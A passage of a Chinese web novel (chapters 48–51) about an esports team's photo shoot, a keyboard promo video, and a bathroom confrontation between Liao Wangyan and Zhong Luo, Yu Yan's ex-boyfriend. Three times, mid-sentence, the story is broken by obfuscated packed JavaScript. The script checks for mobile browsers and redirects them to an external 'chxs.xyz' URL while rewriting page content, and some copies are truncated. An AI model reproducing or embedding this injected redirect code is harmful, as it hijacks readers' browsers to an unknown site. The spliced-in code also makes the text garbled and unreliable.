Nap极少和女生对话,他眼神飘忽着,低声“嗯”了一句。化妆师总共就和他说了两句话,但他现在耳尖已经泛起一点潮红了。 等邵乖和Nap化完,刘国柱也拎着五个塑料袋回到房间里。他把早点分给众人:“赶紧趁热吃,咱们中午之前还不知道能不能完事。” 于琰早已清醒,此刻嘴里塞着包子含糊地问:“现在刚八点,四个小时还拍不完?” 刘国柱掐指算了一下:“你们最早也得八点半才能拍上,如果你们镜头感好那自然拍的快,但如果我没记错的话,Nap去年一个人就拍了一个多小时。” 经过刘国柱这么一说,在场除了廖望延之外的其余四人也想起了去年的事。 去年也是这个地方,也是这个棚,也是这个Nap。 摄影师当时都快急疯了。他不管说什么动作,Nap都摆的像个僵尸一样,即便摄影师亲自上阵给他捏造型也不好用。 那一天是那位摄影师为数不多的噩梦时刻。 邵乖边吃早点边笑:“想起来了想起来了,我那天晚上做梦都是Nap那张死鱼脸。” 话题的焦点压根不想回忆往事,窝在角落里默默喝豆浆,时不时送一个白眼给邵乖。 等众人都上完妆换完衣服,正好八点半,五个人一块被刘国柱带着往摄影棚走。 巧了不是,今天还是去年那位摄影师进行拍摄。 刘国柱上前拍拍他的肩,亲昵地唤他:“吴哥,一年不见甚是想念。” 摄影师的身体肉眼可见的僵硬了一瞬,随后回头看了一眼,发现Nap也在的时候他忙不迭地拿起相机就想往外逃。 “我给你 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前四个人都顺利结束,终于到了吴哥的噩梦。他看着Nap面露难色,给了Nap两个选项:“你刚才看了其他人的表现,记住了吗?记住了的话就你自己去,实在不行……就还是我上手给你摆。” Nap自信满满:“吴哥你放心,今年绝对不会和去年一样了,我已经学会了。” 吴哥嘴角抽了抽:“希望你说的是真的。” Nap扬着下巴走到白色幕布前,听着吴哥的要求开始摆动作。 “面向我抱臂,我说的是抱臂!不是让你把手塞进胳肢窝里!” “算了,你叉腰吧……叉哪呢?!!!你现在叉的是胯骨!!!” “你转身吧,后背对着我。给我个侧脸……我说的是侧脸!!你还真想把自己脖子扭个180°回旋?!!” “对着我的镜头比个开枪的姿势……不是,你怎么一脸悲愤啊!我没让你英勇就义!” 廖望延在化妆间的时候还没明白众人的意思,直到自己亲眼目睹之后才知道Nap到底有多手脚不协调。 摄影师让他往东他往西,摄影师让他往南他往北。 于琰在旁边边录像边笑,整个摄影棚里全是笑声。Nap越拍脸越红,最终还是吴哥亲自出马给他一个个拗动作才得以结束这场乱剧。 等单人照和团体照拍完后,刘国柱在旁边开口:“能不能再给我们拍一组双人照?” 吴哥点点头:“行,谁来?” “Nap、星水,你俩过去。”刘国柱指挥道,“Mesh、于琰,你俩做准备。” 邵乖在旁边指着自己的鼻子:“我呢?他们都拍双人的,就我被扔下了?” 刘国柱似乎也觉得这样不太好,想了想后说:“那就一会你和Mesh也拍一组。” 吴哥将下路和上野的双人照拍完,留下了最好拍的两个人。 “你们两个背对背,左手托着右肘弯,右手比出一个开枪射击的手势。” “ok下一个动作。稍微矮一点的这个男生往前半步,高一点的男生往左来一点点,手插兜。” “好的下一个动作……” “ok再来……” Nap站在棚拍区之外和左星水抱怨:“为什么我拍的时候没有这么多复杂动作?” “……小醒,基础的你还摆不来呢,就别想着复杂的了。” “我明明昨晚看了几十条摆poss的干货视频……为什么……” 邵乖从旁边接话:“一年一次给哥们添点乐子,你也挺有奉献精神的。” Nap怒目圆瞪:“你少废话,离老子远点。” 拍摄结束在12点半左右,吴哥精神疲惫地把五人还给刘国柱,低声和后者打商量:“一会咱俩加个私人微信,你明年如果还来这拍照片提前告诉我一声,我躲着你们点。” “别啊吴哥,咱们都合作出感情了,明年肯定还来找你。” “别了,我还想多活两年。” 49.Chapter 49 众人和另一个棚里的NWG队员们打了个招呼,坐上车离开拍摄地,随便找了个有名的苍蝇馆子把午饭解决了才开车返回基地。 “老姚,是不是快春季赛抽签了?”于琰坐在沙发里问。 老姚想了想:“嗯,也就这一两周的事了,怎么了?” “没什么啊,我就是随便问问,感觉咱们今年挺猛,想赶紧打。” 廖望延捏了捏于琰的耳垂,问:“你春季赛带我飞?” 于琰嘿嘿笑了两声:“我带你一头扎进垃圾堆。” “你也就这点本事了,还好意思说自己猛。” “我没别的优点,就是自信。我希望开场赛就让咱们打,最好对手是NWG。” 邵乖在一旁接话:“开场就输?丢脸丢个大的?” 于琰不满邵乖这副长他人志气灭自己威风的姿态,扬了扬下巴道:“你纯在放狗屁,到时候春季赛拿了第一也不算你的功劳。” 刘国柱在旁边听着众人聊天,捧着手机不时打字,半晌后乐了一声,抬眼看向廖望延:“Mesh。” “怎么了?” “你键盘商务的宣传照已经发在官方微博了,一会记得转发一下,拍的那支宣传片晚上七点也会定时发出来。” “行。” 廖望延点点头,右手搂着于琰的腰,左手掏出手机。 他点开微博的时候官方那条动态已经1k+评论了,廖望延没点进评论区,随手转发后就要息屏。 还没等他有动作,于琰就伸手夺过手机:“给我看看。” 廖望延顺从地松手,倚着于琰的肩膀看照片。他早在当初刚拍摄完就看过原图,今天精修照发出来没太出乎他的意料,毕竟自己的脸能拍成什么样他心里有谱。 “靠!这么帅!”于琰边看边感叹。 “真人就在你身边坐着,你还看什么照片?” “那不一样,你这照片一看就像是渣了无数个女生。” “我真人就不像了?” “真人像老狗比。” “啧。” 廖望延是真的很讨厌于琰给自己取的这个外号,他右臂猛然发力,揽着于琰让他用正面对着自己。 他将自己的额头抵上于琰的,沉着嗓子问:“再说一遍,我像什么?” 于琰被这动作一吓,间歇指向性的老毛病又要犯了。他猛地推开廖望延,将手机砸到后者的胸上怒骂:“离老子远点,你又发什么骚!” 于琰骂完还不忘环顾一圈四周,发现其他人老神在在地盯着他们俩,顿时更不自在了。 廖望延揉了揉胸口,倚进沙发里惫懒地问:“我天天这样,你还没适应?” 于琰脸上直泛红:“适应你爹个香蕉菠萝!” “想吃香蕉和菠萝了?一会给你点个外卖。” 廖望延一点不接招,气的于琰抓起自己手机就往楼上跑。 邵乖咂了咂嘴:“跟你俩在一个基地里太有意思了,电视剧都不如你俩演的好看。” 廖望延瞥了他一眼:“我这是收费剧集,麻烦你冲一下vip。” “包月vip多少钱?一个月25以内我能接受,但你要保证剧情够刺激。”刘国柱说。 “刺激?怎么个刺激法?我再刺激一点于琰就得把我大卸八块了。” 廖望延现在从温水煮青蛙变成了中火高压慢炖,就这种力度于琰都受不了,要是真如刘国柱所言,那他离死也就不远了。 刘国柱伸出食指摇了摇:“现在这样就挺刺激了,每次看你俩互动我都觉得自己那颗死去的春心又萌动起来了。” 一旁的老姚搭腔点头:“长得好看确实有用,要是换成邵乖和吴醒我连片头都看不完。” 被无缘无故伤害到的二人互相对视一眼,又猛然将视线挪开。 邵乖:“老姚,我是什么很贱的人吗?” 吴醒:“如果我犯了罪,请让警察来逮捕我,但别用这种方式羞辱我。” 左星水坐在单人沙发里,没参与众人的话题,只是在不经意的一个瞬间,他似若无意地给廖望延递了个意味深长的眼神。 廖望延接收到这个眼神轻微挑了下眉。 看来这个基地里有聪明人,也不都是傻子。 他还以为这个基地的平均智商和于琰在一个水平线。 感受到终于有人识别出了自己的意图,廖望延低笑了一声,伸手捞起在沙发中间趴着的黑天大帝,将它举起来与自己平视,用气声嘟囔道:“你那个死爹真难搞。” “汪!” “怎么?想给你爹出气?” “汪汪!” “老子早晚上位,让你这只狗崽子爹爸双全。” - 晚上,众人坐在餐桌前吃饭。 18:59的时候,吃饭吃到一半的他们共同停下筷子,整齐地举起手机打开微博点进K家主页。 19:00,廖望延的键盘宣传片准时发出,基地里的多部手机同时点开视频。 视频刚开始有三秒的黑屏,随后展现出K家极大的logo。画面徐徐展开,镜头在一座大厦前环绕,无数身着正装的男女进进出出。 画面突然切换,镜头转向一间极简装修的办公室内。办公室空间极大,内部装饰只有黑白二色,整片的落地窗映照出对面鳞次栉比的高层建筑,一个男人倚在老板椅上闭目养神。 忽然,这间办公室的门被敲响。 得到允许进入的命令后,一位职员怀中搂着文件快步进来。他将文件送至男人面前,低声道:“廖总,和K家的合同,麻烦您过目。” 男人未说话,睁开眼支起上半身,伸手接过文件一页页翻捻。他的指骨细瘦匀称,净白的手背青筋明显,青筋顺着手背一直隐入西装外套的袖口里。 文件刚翻没几页男人就皱起眉头,随后肉眼可见的加快了翻阅速度,直至翻到最后一页,他猛然将身体往后一倚,把文件摔在对面人的身上,略带讥讽的声音响起:“和K家的合作沟通了三个月,到最后你就做出这种东西来糊弄我?你是觉得我的时间不值钱?滚回去重做。” 被摔了文件的职员连声道歉,半蹲下身子快速收敛着地上的纸张,几秒钟后将其搂在怀里后退着离开办公室。 带着金丝边眼镜的男人冷眼看着职员的所有动作,门被合上后他轻嗤了一声,望向窗外的建筑默然出神。室内空气沉寂半晌后男人才重新有了动作,他脚尖点地,轻轻将椅子和身体拉近办公桌,随后打开桌上的笔记本电脑开始工作。 一直是远景拍摄整间办公室的镜头突然将画面拉近到男人的脸上,完美的面部轮廓几乎占据整个屏幕,清晰到连他脸上的绒毛都拍摄其中。随后镜头猛然拉低到男人手部,匀称的十指在键盘上飞舞。男人的指甲修剪得极短,半月区明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868430|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甲床修长,键盘被指腹敲击发出连续的脆响。 这个镜头维持了大约七秒左右,画面逐渐由明转暗,直至最终完全变成黑屏。 三秒后,画面重新亮起来。 时间由天光大亮变为漆黑当头,刚刚西装加身的男人此刻穿着纯白棉质睡衣,微长的头发被一个皮筋扎成了小苹果头。他趿拉着拖鞋推开卧室房门,将手里的可乐放在桌子上,一屁股坐进电竞椅里,随后点开了电脑屏幕上的英雄联盟。 此刻的他没了白日那种沉稳冷感,反倒透出些微稚气。 他揉了揉手腕,点下单排按钮,进入游戏界面后飞快选出痛苦之拥这个英雄。游戏加载读条的时候,男人低头用指腹轻点了两下键盘右上角的旋钮,那里有一个和他现在屏幕上一样的英雄。 很快,游戏开始。 男人操控着手下的英雄购买装备稳定发育,随即开始疯狂杀戮。双杀、三杀、超神、团灭。他像是这局游戏里的主宰者,面无表情的决定着其余九人的生死。 视频里的游戏过程自然是有剪辑和加速的,基本只聚焦于击杀与团战画面。当对面基地爆炸时,镜头从游戏画面转到玩游戏的人身上。男人没急着退出游戏,而是低头看了一眼键盘,他的指间轻抚黑色套件边缘,随即微微扬唇。 镜头在此刻定格两秒,然后变为黑屏,画面正中间展现出这把键盘的360°全貌。 最后一幕,宣传语由浅至深的浮现于画面中—— MESH? × KING? √ 于琰盯着重新观看的按钮眨了眨眼,率先开口:“我靠……这他妈谁能不买啊?” 邵乖在其说话间已经点开了购买链接,道:“我必须支持两把键盘,买完抽给水友。” 廖望延没用自己的手机看,支着脑袋从于琰的手机里看完全程。他伸了个懒腰:“果然和我想得差不多,这摄影师挺会拍。” 于琰把视频转发给自己老妈,扭头看着廖望延:“我终于知道我妈为什么爱给你买衣服了,因为我现在也想给你买西服。” 廖望延对于琰抛了个媚眼:“别买西服了,买我吧。” “滚,别影响老子现在的好心情。” 廖望延偏不,他搂着于琰的腰往自己身上贴,边贴边说:“你的好心情都是我给的,干嘛让我滚?” 二人拉扯间,宣传片底下的评论已经开始爆炸式增长。 【我靠,西装Mesh也太涩了吧……prpr~】 【妈的,一个宣传片拍出了微电影的既视感,太猛了老K,你们家真是下血本了。】 【没看宣传片之前就买了一把键盘,看完又买了一把,我就一双手……要两把键盘干锤子啊。】 【西装暴徒突变乖乖宅男,这反差感绝了!!!】 【怎么没有Shark那把键盘的链接啊?】 【回楼上,那把是定制款,代言人亲自去要的,买不到,别想了。】 【Mesh你给老婆定制情侣键盘是吧?好小子,怪不得你有老婆!】 【我反复看了五遍,发现了一个小细节,你们看西装Mesh敲键盘那里,他按的字母是yuyanshisb,这是什么意思不用我多说了吧?】 【于琰是sb哈哈哈哈哈哈哈哈哈】 【姐妹真是慧眼如珠,Mesh又要挨骂了~】 50.Chapter 50 廖望延真想把宣传片底下那条解密评论给删了,奈何他没这个权力。毕竟他是真没想到,居然有人会闲到去扒他的按键顺序。 他边震惊边在脑子里想,有这种心细如发的粉丝倒也不失为一件好事,正好可以为他和于琰以后公开恋情的事添砖加瓦。 你想问他和于琰还没在一起就想这些事是不是太早了? 那咋了,未雨绸缪。 于琰因为这条评论整整一天没搭理廖望延,都不找他双排了。 直到大家坐上去德杯现场的商务车,于琰还是照样对廖望延摆出一副死人脸。话也不回,眼神也不给。 “理理我?真就因为一条评论把我打入冷宫了啊?” “……” “外面的天气虽然冷,但也冷不过我的心。” “……” “你行行好搭理我一句,不然我可能会在观赛现场哭出来。” “……” “错了~真错了~于老师别和我一般见识呗?” “……” “于琰!你别逼我!再逼我我就只能……求求你了~” “……” 任廖望延如何在旁边撒娇卖乖,于琰仍旧不动如山。 一旁的邵乖都看不下去了,推了推于琰肩膀:“不行你就敷衍他两句吧,就当是照顾照顾我们这群无辜的人了,他一直这样我们真的觉得很恶心啊!” 于琰甩了邵乖一个眼刀,后者识趣地闭了嘴。 整段路程里廖望延都没停下自己那张嘴,可惜还是没能换来于琰的回应。 车子停在场馆门口,老姚说:“你们先进去,我去停车。” 众人下车前收敛起了没正形的姿态,廖望延也没准备在大庭广众之下展现出自己不要脸的一面。 这次观赛众人都穿的是自己的常服,或多或少都做了一些遮盖住面貌的辅助手段,要么是带口罩要么是带帽子。 他们的座位在看台正中间,不算太靠前,但头顶上的屏幕足够大。反正他们也不是来看选手的,坐到人群里正好能避免被摄像头抓捕。落座的时候距离比赛开始还有15分钟,几人交头接耳地聊天。 “你们说,今天DL打野会上钟哥还是good?”邵乖问。 其余三人都觉得会上钟络,于琰和廖望延没参与这个话题。 廖望延凑到于琰耳边轻声问:“一会没准你前男友就要登台了,有什么感想吗?” “……” “为什么一直盯着台上?等谁呢?” “一段时间没见很想他哈?我在旁边碍事了哈?” “那我走?” 于琰真是要被廖望延烦死了,他抬了抬自己的帽檐,扭头瞪着后者:“再多说一句我就把你嘴撕了。” 于琰声音有点大,引来了前排观众的注意。 前排正好坐的是几个女粉丝,头上还带着DL的发箍,手里也拿着DL队员的小手幅,发现自己后面坐的是HG的队员后立刻惊呼出来。 这些声响直接让大部分观众都把视线聚焦于此。 于琰先是微笑着和她们打了个招呼,后又咬着牙凑到廖望延耳边小声抱怨:“都怪你。” 廖望延在视野盲区里伸手轻轻捏了捏于琰的手指,低笑着认错。 只要于琰能搭理他,怎么都好说。 这段小插曲没持续多久,今天比赛的两支队伍就开始陆续登场,他们抱着自己的外设依次落座。 钟络正在调试设备,无意间往头顶的屏幕扫了一眼,手下动作猛然一顿。他抬头的那一眼,正好看见场内摄像头抓捕到廖望延和于琰贴着耳朵讲话。 正在对话的两人也看见了屏幕上自己的脸,大大方方摘掉帽子摆了摆手。 钟络看着二人肩贴肩的亲密姿态,下意识握紧了拳头。 DL今天对阵的是RT,赛程为BO1,从整体实力来看DL应该能毫无压力的拿下这场比赛。 HG五人看着头顶屏幕里正在进行的bp小声分析。 邵乖:“如果我没记错,DL的上单好像不太擅长玩船长吧?” Nap:“没怎么见过,起码赛场里没见他掏出来过几次。” 左星水:“打RT正好可以练兵,他们打强队肯定不敢掏熟练度不高的英雄。” 于琰:“他们中单这个塞拉斯我在rank里遇见过,挺猛。” 廖望延:“有你猛吗?” 于琰:“闭嘴!” 众人聊天间,两队的九个英雄已然全部选完,只剩DL最后一个counter位打野还没选。 不知DL的教练和钟络在商量什么,直到选人倒计时最后一秒,DL方才锁下他们的打野英雄。 这个英雄一经选出,立刻引起场馆内众人的欢呼,摄像头更是直接将画面转到了廖望延脸上。 超大屏幕里,廖望延轻佻地笑了一下。他当着众目睽睽的面,凑到于琰耳边,饱含深意地轻道:“你前男友在挑衅我。” 廖望延边说边看着头顶的屏幕,眼中溢出一些轻微的厌恶。毕竟钟络选出的正是他的成名英雄—— 寡妇。 于琰皱了皱眉没说话,看着大屏幕的脸上仍旧古井无波。 钟络听着耳机里队友的加油声,紧了紧握着鼠标的右手。 其实教练想让他选NOC去打野,但他自己提出想玩寡妇,原因无它,只因为廖望延在观众席里。他想用廖望延的成名英雄拿下比赛,证明给于琰看,他不比廖望延差。 很快,游戏开始。 钟络聚精会神地开野,刷完两片野区后首选上路gank。将RT的上单抓出闪现后他并不冒进,重新潜回野区。将河道蟹拿下后他选择绕过中路,入侵RT下半片野区,成功偷到一组石头人。 廖望延看着钟络的打野路线轻哼了一声:“他挺会学啊。” 于琰听出了廖望延话里的意思。 钟络现在的刷野路线简直就是原样照搬廖望延的。蓝buff开,一路往上刷,先蹲上路再打河蟹,绕过中路入侵野区,然后去gank下路。 一模一样的前期安排。 “你说他半夜睡不着的时候是不是都看我的比赛视频啊?”廖望延问。 于琰打了下廖望延的手背:“在外面呢,谨言慎行,别满嘴跑火车。” “我也没说什么啊,他这一看就是对我进行了深度研究。” “是是是,谁让你这么强呢。” “敷衍,一听就没走心。” “没完了?” “……” 二人斗嘴间钟络已经帮助下路和中路各完成了一次击杀,看着双方英雄走向,应该马上就要进行一波小龙团。 钟络指挥着队友:“都往小龙靠,扫眼排眼,一会小龙刷了立刻开,拉出来打。” 他有条不紊地安排和实施,已然没了当初在HG紧张的无措感。 一番混战后,5v5团战DL1换3,小龙也被他们收入囊中,经济开始肉眼可见的拉开。 廖望延靠在椅背上看着大屏幕,用气声肯定地说:“没必要往后看了,RT没机会了。” 于琰听见他的话“啧”了一声,不满地扭头:“都说了在赛场呢,你能不能往你那张嘴上安个拉链?别什么都说。” “经济差只会越拉越大。钟络先按下不提,主要是下路的CHAO起来了,那条小疯狗拿了头就和超能力进化一样,RT管不了他的,我现在只是实话实说罢了。” “那你也闭嘴,别废话。” “行行行,我眯一会,打完了叫我。” “当着这么多观众的面睡觉?” “太无聊了,提不起看的兴趣。” “那你把帽子戴上。” 于琰把自己的帽子扣在廖望延头上。其实他也没什么看的兴趣,毕竟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟络垂眼看着被自己握在手里的细腕,轻声问:“小琰,我现在连个招呼都不配让你打了吗?” 于琰甩开钟络的手,返身回洗手台前抽了两张纸,用水浸湿后擦了擦自己的手腕:“别碰老子。” 钟络看着他的动作自嘲地笑了一声:“这么冷漠吗?就算是从前队友的层面出发,你多少也得给我留点面子吧?” 于琰皱着眉看钟络,不明白他现在想干什么。 “我已经很给你留面子了,不然你早在大半个月前就已经被我骂到上至祖宗十八代下至百年后未出生的小辈们了。” “我觉得咱俩没什么好聊的,没意义的寒暄就免了,如果你没正经事的话我就先走了,他们还在外面等我。” “他们?”钟络听见这个词又笑了一声,“我觉得你把们这个字去掉比较好。” “你什么意思?” “没什么意思。” “没什么意思就滚。” 于琰厌烦了这种打哑谜的环节,揣着一肚子的闷火就要走,刚越过钟络马上就要跨出门时,身后又传来声音。 “情侣键盘好用吗?” 于琰拧着眉心转身:“什么情侣键盘?” 钟络垂着眼睫张握了几次左手,刚刚握过于琰手腕的掌心此刻好像还留着些余热。 天时地利人和全都不对,但钟络还是无法自控地说出了口:“你和廖望延的情侣键盘。” 于琰用一种看傻逼的眼神看钟络的后脑勺:“你是不是有病啊?没完没了了?我还得跟你重复几次我俩不是那种关系?” 钟络回身,看见于琰眼底的反感时像是被一根细针戳穿了眼皮,疼得他直想笑。 他也的确笑了,只是笑中藏了一丝不易被察觉的偏执与不管不顾:“我明白了,现在这种场合不方便说是吧?我理解,我应该约上你和他,找一个私密性很高的场所再问这个问题,等听到你的回应后再给你们送上一个前男友的诚挚祝福,对吗?” 于琰捏紧了拳头,刚想再开口就被一只手捂住了嘴。 廖望延从身后半搂着于琰,视线直直钉在钟络的脸上,语气中含笑但眸底一片晦暗—— “什么前男友的诚挚祝福?祝福的话说给我听听?让我也跟着高兴一下?” 51.Chapter 51 于琰拿下放在自己嘴上的手,扭头看着廖望延。 “怎么过来了?” 廖望延垂眼看于琰,他察觉到了后者眼中的烦躁,滞了几秒才开口解释:“看你半天没回来,怕你被什么不干净的东西缠上。” 于琰闻言对他投以一个蕴含着无奈的眼神,轻声回:“好好说话,在外面呢,别给自己找麻烦。” 廖望延没再多说,将目光转向钟络。伫立在卫生间门口的三人有将近十秒的沉默时刻,气氛明显有些紧张。 于琰看自从廖望延来了以后钟络就不再胡言乱语,也懒得再和他计较,拉着廖望延的衣角就要转身。 “走了,他们还在外面等着。” “嗯,你走前面。” 同队伍的二人往外走了两步,钟络忽地又轻笑一声。 于琰脚下没停顿,装作自己没听见。走在后面的廖望延倒是停下了脚步,他扭头看了一眼,发现钟络也在看自己。 “还有事?”他问。 于琰“啧”了一声,生怕钟络又发疯说什么乱七八糟的东西,拉着廖望延衣角的手又用力拽了拽,示意他赶紧走。 钟络被于琰这副避他如蛇蝎的动作刺激到,猛然攥紧了拳头,似讥讽地开口问:“延哥,我一直想找机会问你,正好今天遇见了,麻烦你给我解个惑,你是不是不太喜欢全新的东西?” 廖望延听出了他的意有所指,只觉得心里一阵阵的犯恶心。 “解惑谈不上,但首先你得说人话。” 于琰因着刚才和钟络不愉快的对话,当下脑神经直接自动屏蔽了他的问题,因为没过脑子,所以也没对这句话有什么反应。廖望延则不然,他生怕于琰的智商重新占领高地悟出什么言外之意,就想抬手把于琰的耳朵捂住。 廖望延刚要抬手,就被于琰松开衣角拽住了手扯着往外走。于琰拽了好几下都没拽动廖望延,烦躁感又飙升了一个等级,他不耐烦地问:“鞋底黏上502胶水了?到底走不走,你不走老子自己走了。” 钟络看了一眼二人牵着的手,复又抬眼,目光直直地和廖望延对视,然后耸了耸肩。 “延哥忙的话下次再聊也一样。” 廖望延用空着的另一只手捏了捏于琰的耳朵,凑到他耳边小声说:“你先去车上等我,十分钟以内我肯定回来。” 于琰本就不想在这个空间再停留一分一秒,听后直接甩开了廖望延的手,头也不回地大步离开卫生间。 多从这个地方呆一秒钟他都嫌晦气buff翻倍叠加,既然廖望延想聊,那就慢慢聊,最好再也别回HG,直接和钟络去DL得了,省得碍他的眼。 看着于琰的身影迅速消失在眼前,廖望延收起眼底轻微的纵容,转身冷冷看着钟络。 “有意思?没完了?非得闹到于琰连看都不愿意看你?” “闹?我闹什么了?”钟络装傻充愣地笑着反问。 “你明白我什么意思。” “我不明白。” “不明白?那你说你妈呢?” 廖望延少有的说了句脏话。他不想和钟络再玩这种说一半留一半的文字游戏,既然钟络敢问出刚才那个问题,他就默认钟络准备提前撕破脸。 钟络笑着摇摇头:“延哥,你急什么啊?我只是问了你的喜好,是你自己非要往其他方面想的。” “是不是喜好你自己心里有谱。把人物化的人不算人,算畜生。” 钟络被这两句近乎羞辱的话激得终于放下了面上的伪装。 “偷人二手货的不也是畜生?谁比谁高贵?”他面无表情地问。 “如果我没记错,你才是那个被丢掉的二手货。” “是啊,谁让我没有一个相识多年不分彼此的发小呢,如果我有的话,现在应该就能让他来帮我撑腰了,你说对吗延哥?” “首先你得是个碳基生物,其次才能谈论这些问题。” “延哥真是长了一张好嘴。” “过奖。” 钟络的拳头越攥越紧,他没法理解为什么廖望延现在敢如此坦然。明明廖望延进HG就是为了抢于琰,明明自己和于琰还没分手廖望延就开始狂刷存在感,明明他和于琰就是超出了朋友的社交范围还要恬不知耻的用发小关系作掩护,廖望延他凭什么现在能如此心安理得的站在自己面前,还对自己摆出一副指责的姿态。 他凭什么? “还有话要聊吗?没有的话我就走了,以后有什么事就找我,别找于琰。”廖望延看钟络一直没吭声,抱着臂问。 钟络感觉自己整个身体从天灵盖到脚都在震颤,未攥拳的左手不自主地轻抖,他将这只手背到了身后,随即开口:“坦白聊?” 廖望延轻嗤一声。 “咱俩都说到这份上了还需要什么场面话?动嘴不动手就是底线,我懒得因为你吃禁赛。” “好,那我确实有话问你。”钟络深吸一口气,“你喜欢于琰?” 廖望延没立刻回答,他垂眼看了看钟络的裤兜,提出了个看似与目前话题不相关的要求:“把手机拿出来。” 钟络没明白他什么意思,但还是照做了。 “麻烦你解锁,把语音备忘录打开,然后面朝我,我要确定你没在搞小动作。” 钟络感觉自己又被羞辱了,不由得将声音提高了一个八度:“你把我当什么了?” 廖望延学着他耸耸肩,道:“想聊就照做,你在我这没有信誉可言。” 钟络咬着牙按照要求打开语音备忘录,然后将手机举在胸前,屏幕背对着自己。廖望延看着他的动作点了点头,将双手插进外套衣兜。 “是。” “我喜欢于琰。” 钟络扯了扯嘴角:“我就知道。” “还有什么想知道的?”廖望延问。 “你们俩现在到哪步了?” “没到哪步,别用你那颗脏心揣测我俩,我单方面在追,但于琰根本不知道。” “你说不知道就不知道?” “你了解他还是我了解他?你认识两年能了解个勾子?你算什么东西?” “我是不算什么东西,但我就想知道,我俩还没分手的时候你是不是就已经开始有动作了?” 廖望延听着钟络的质问,抬头看着卫生间的灯,钟络说完他笑了一声,给自己接下来的话留出了几秒钟的技能前摇,随后目露鄙夷地平视钟络。 “我说实话,你和于琰没分的时候我自认为没做过任何出格的动作没说过任何出格的话,所以我不明白你到底是哪来的一副正宫骂小三不要脸的臭架势。于琰和你提分手是从各方面长远考虑去决定的,你自己家里的烂事一箩筐,让他有很大的负担,这和我没半毛钱关系。” “我不管对于琰做了什么,都是从你和他分手之后才开始行动的,甭管从是道德还是法律层面,我都算是大大的良民,所以你少摆出这种要往我脸上扔烂菜叶子臭鸡蛋的死样,于琰和我都不欠你什么。” “虽然你不信,但我的底线就是不介入他人感情。本来我都想好了,等我确认了你俩真的互相喜欢,我就会把对于琰的感情压下,永远不让它被第二个人发现。所以我确实得感谢你,我没想到你这么快就放手,谢谢啊哥们。” “你以为我想放手?”钟络被气的脑子发蒙,“一边是家人一边是男朋友,放你你怎么选?” 廖望延轻嗤一声:“我不选,我凭什么选?我又不会在毫无准备的情况下和父母出柜,我也不会在有男朋友的情况下接受父母的相亲邀约,我更不会在明知自己同性取向的前提下还接受女生的主动示好。别以为我看不出来,那天训练结束你从外面拎回来的礼盒就是那个女生送的吧?是你自己非要把场面做成现在这样,怪得了谁?把什么错都归到别人身上,你是什么不粘锅吗?就你委屈就你无辜就你两头为难?” 钟络放下胸前的手机,将其重新塞回兜里。廖望延看着他的动作开口问:“想知道的都问完了?我劝你再好好发挥一下你好奇宝宝的属性,毕竟过了这村没这店,你就算问我今天穿的裤衩是什么颜色都行,你要是不信我可以脱了裤子给你看看让你眼见为实。” 钟络现在心里烦得很,不想和廖望延继续这种口舌之争。钟络不认为自己做的有什么问题,廖望延现在无非是站在道德的制高点在教训他,如果让他站在自己这个位置上,他未必做的和自己有什么不同。更何况,是于琰逼着自己继续隐瞒同性取向的,明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909063|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己都已经出了柜,一切都在往好的方向发展,是于琰只想尝甘不肯共苦,论自私,于琰和自己根本没区别。 “没什么可问的了。你觉得我恶心,我也觉得你恶心,再聊下去也没什么营养,到此结束吧。” 钟络回身往卫生间最里面走,廖望延再次强调:“那我就再说一次,你以后有事找我,别骚扰于琰。” 钟络脚步顿了顿,没说话又迈开腿。 商务车里的于琰数次查看手机时间,现在已经过了十分钟了,廖望延还没回来。他担心发生什么不可控的事,抬起屁股就要重新返回去找人。 老姚看他的动作抬起眼,问:“想干嘛去?” 于琰抿抿唇,自己没法和老姚说实情,只能干巴地扯谎:“我看廖望延这么久还没回来,怕他被什么坏人缠上。” 邵乖正闭着眼养神,闻言笑出了声:“他是个一米八七精壮成年男性,不是咱基地里那只刚满月的吉祥物。就他那身体素质,一个人把现在车上除了老姚之外的四个人全按地上我都不意外,你与其担心他出事不如担心和他对上的人出事。” 于琰瞪了邵乖一眼,嫌他多嘴。 老姚点了点头:“没准Mesh是在上大号,你着什么急,选手后台安全的很,出不了意外,安心等着。” 于琰一听这话也没法再强求,只好重新坐下焦虑等待。他眼神直直盯着车窗外,巴不得下一秒廖望延就出现在自己面前。 好在于琰维持这个状态没有太久,某个过于熟悉的身影就出现在了视线内。 廖望延弯着腰上车,越过众人在于琰身边坐下。 邵乖闭着眼问:“延哥便秘了?时间挺长啊。” 廖望延从鼻子里冒出一声轻哼,没肯定也没否定。他低头蹭了蹭于琰的肩膀,就着当下的姿势小声汇报:“没事了。” 于琰皱着眉看他,用同样的声量问他:“都说什么了?” “秘密,反正如果不出意外,他以后不会来找你了。” “赶紧说,你不说我晚上肯定睡不着觉。” “睡不着觉就来我房间找我,我拍着你的背哄你睡。” “别转移话题,现在这招不好用了。” “啧,就威逼利诱呗。我拿拳头对着他,说如果他再骚扰你,我就把他两只手废了让他打不了职业,他害怕了就答应了。” 于琰狐疑地看着他:“真的?没骗我?” 